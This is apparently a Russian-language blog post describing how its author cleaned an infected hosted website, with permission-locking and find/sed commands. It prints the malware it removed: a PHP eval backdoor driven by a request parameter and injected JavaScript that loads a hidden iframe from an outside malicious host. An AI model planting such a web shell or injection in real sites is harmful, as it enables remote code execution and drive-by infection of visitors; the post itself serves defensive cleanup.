[Web] Зараженный сайт и что с ним делать?

Довелось мне давеча побороться с мерзким кодом на одном хостинге (то он спам рассылал, то переадресовывал куда попало), ну и в результате получилась небольшая инструкция.

В результате чистки были удалены всякие не нежные сервисы: proftpd (ибо есть ssh), postfix (дабы не было собразнов слать почту), ну и конечно проводилась очистка зараженных файлов, вот о ней подробнее.

Первым делом надо установить права на папки и файлы, при том на файлы надо бы поставить возможность только чтения (даже владельцам), это что бы исключить повторного заражения на время поиска вредноносного кода:

find . -type d -exec chmod 755 {} \;
find . -type f -exec chmod 444 {} \;

Затем начинаем искать сам код. Мне попался пакостный, состоящий из двух частей, одна часть — загрузчик, другая — собственно сам мерзкий код.

Загрузчик это php-файл, который в коде содержит функцию eval, позволяющую выполнять фактически любой код, например это может выглядеть так:

<?php 
if (isset($_REQUEST['p1'])) {
	eval(stripslashes($_REQUEST['p1']));
} else {
	echo "djeu84m";
}
?>

Такие файлы с большой вероятностью могут находится в папках с правами 777 (которые служат например для временных файлов CMS), а так же могут внедрятся прямо в php-файлы сайта (такое мне тоже попадалось). В любом случае придется немного анализировать код и желательно что бы это делал человек, знакомый с php.

Когда файлы-загрузчики найдены и удалены, приступаем к файлам исполнителям, в моем случае это были JavaScript-файлы, в них находился вот такой код:

;document.write('<iframe height="115" width="115" style="top:0px;left:-500px;position:fixed;" 
src="хттп://gekyaim.dns-stuff.com/d49f3.Op54fGLKnvlKm5w?default"></iframe>');

Почистить такой код можно достаточно просто:

find . -name '*.js' -exec sed -i 's/\;document.write/\/\//' '{}' \;

Конечно могут пострадать и сами скрипты, по этому потом можно и даже нужно перезалить файлы CMS. Но самое верное — это создавать бекапы, данный способ избавит вас от ненужных проблем!

После проделанных действий устанавливаем права на файлы:

find . -type f -exec chmod 644 {} \;

Вот как то так! А вот если бы был бекап всех сайтов, то такая бы проблема не возникла, так что заботьтесь о своей безопасности!